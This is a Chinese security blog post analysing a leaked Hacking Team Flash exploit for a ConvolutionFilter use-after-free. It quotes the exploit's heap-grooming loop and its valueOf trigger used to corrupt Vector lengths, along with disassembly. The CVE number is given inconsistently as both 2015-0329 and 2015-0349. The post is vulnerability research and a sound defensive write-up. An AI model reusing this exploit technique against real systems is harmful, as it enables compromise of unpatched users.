Hacking Team攻击代码分析Part 2: Pwn2Own漏洞

前一篇文章我们分析了HackingTeam泄露数据中的Flash 0day (bytearray 0day)。而在泄露数据中我们其实还看到了另外一个名为convolution_filter的flash exploit。

看了一下这个flash exploit，我很快意识到这个漏洞是一个已经修补的漏洞cve-2015-0329，在今年4月份被修补，这也解释了readme文档中，flash后面加了“(April 2015)”，意思是这个洞只能用到今年4月之前的flash版本中：

(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)

我个人对这个漏洞印象比较深，看似平凡的它有个不平凡的故事，今年的pwn2own大赛中，前Vupen主力Nicolas Joly正是用这个漏洞拿下了64位Flash插件：

所以事情就变得很有趣了，一边是Nico用这个漏洞打 Pwn2Own，另一边HackingTeam(从常理推测，应该是通过其它渠道，和Nico无关)也掌握了这个漏洞并将其用于自己的Exploit工具包中。

CVE-2015-0349原理分析

再回头看一下CVE-2015-0349这个漏洞，这是一个ActionScript 3中ConvolutionFilter类的内部matrix数组的一个Use After Free漏洞，这是个非常好用的漏洞，在32位和64位上都可以轻松实现稳定利用。

我们来看一下HackingTeam泄露的exploit代码，关键部分如下：

创建ConvolutionFilter对象：

// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15);
a[i+5] = new Class2(i+5);
}

设置matrix

var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch (e:Error){}

这里有一个关键点，filter.matrix被赋值为m(类型是 Array)，而Array m的第一个元素是一个Clasz类，而Clasz类定义了valueOf方法，这个valueOf是漏洞触发的关键点：

public class Clasz
{
…
public function Clasz() { }
prototype.valueOf = function()
{
…
}

在Clasz的valueOf函数中，设置matrixX：

prototype.valueOf = function()
{
if (filter.matrixX > 14) throw new Error(“”); // check for the second valueOf() call
ref = new Array(5);
collect.push(ref); // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for(var i:int; i < ref.length; i++) {
ref[i] = new Vector.
 ;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}

事实上filter.matrixX = 15执行完毕之后，ConvolutionFilter内部的一个float数组(我们叫他matrixArray)就会被释放，而从valueOf返回之后，已经释放的matrixArray还会继续被使用，并且往里面写入数据，从而造成了Use-After-Free。我们可以看到valueOf函数中，在设置了filter.matrixX之后，分配了一系列的vector ，这些vector就是用来占用释放后的matrixArray的内存的。这样当程序继续往被释放后的matrixArray里写数据时，实际上是在往vector对象里面写数据，从而达到修改vector长度字段的目的，便于进一步exploit。

细节分析

我们首先先介绍一下ConvolutionFilter的关键结构：

ConvolutionFilterObject {
+10 ConvolutionFilter {
+14 int matrixX;
+18 int matrixY;
+1C float *matrixArray;
+20 int matrixLength;
}
}

ConvolutionFilter里面有成员存放matrix矩阵，matrixX和matrixY代表矩阵的x和y，matrixArray是动态分配的数组，其大小是由matrixX和matrixY决定的，关系如下：

matrixArray = alloc( matrixX * matrix * sizeof(float) )

当matrixX和matrixY改变时，如果原来的matrixArray大小不足以容纳现在的容量，则旧的matrixArray会被释放，然后分配新的matrixArray (UAF就是这么来的)

当exploit代码创建ConvolutionFilter时，传入的参数是matrixX=14，matrix=15：

a[j] = new ConvolutionFilter(14,15);

因此matrixArray初始大小为 14 * 15 * 4 = 840，然后我们看一下第二步，执行

try { filter.matrix = m; } catch (e:Error){}

时发生了什么：

ConvolutionFilter::set_matrix基本上是直接调用了另外一个函数，我们叫他set_matrix_internal:

.text:102E9604 loc_102E9604: ; CODE XREF: sub_102E95ED+Aj
.text:102E9604 push 14h
.text:102E9606 lea eax, [esi+24h]
.text:102E9609 push eax
.text:102E960A mov eax, [esi+8]
.text:102E960D mov ecx, [eax+4]
.text:102E9610 or edi, 1
.text:102E9613 push edi
.text:102E9614 call set_matrix_internal

调用该函数时参数如下：

set_matrix_internal( paramArray, matrixArray, matrixLength )

这里的关键点是：matrixArray直接作为参数被传入。我们来看一下set_matrix_internal函数，该函数的功能可以描述为：将paramArray(在exploit里面就是m这个数组)里面的每一项赋值给matrixArray中对应的项，由于matrixArray的类型为float *，因此如果有必要的话得把paramArray中的元素转换成float，对应逻辑的伪代码如下:

for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}

还记得我们的m[0]被设置成一个Clasz对象了吗?

m[0] = new Clasz;

将Clasz对象转换成Number的过程中，会调用Clasz对象的valueOf函数，而前面已经讲过，valueOf函数会设置filter.matrixX=15(原来的matrixX为14)，此时由于matrixArray大小不够，于是旧的matrixArray被释放，新的matrixArray被分配。然后从valueOf返回到set_matrix_internal以后，程序继续向matrixArray里面写入值，注意这里用的还是旧的 matrixArray，于是UAF漏洞就这样产生了。

又是valueOf

如果你看过我们前一篇分析bytearray 0day的文章，你可能对valueOf这个函数依然印象深刻。事实上这两个洞无论是从产生原理，还是利用方式来讲都非常的相近。背后隐藏的逻辑是脚本语言从native code回调到脚本层(通过toString, valueOf, event等等)，还是很容易出现没处理好而造成UAF等情况的发生。类似case已经在chrome, IE, flash, java等等软件中多次出现，有心的读者可以去留意一下。事实上这也是脚本语言漏洞挖掘中的一个值得切入的点。

漏洞防范

由于Adobe官方已针对此漏洞发布了安全更新，用户只要及时升级就可避免受此漏洞影响。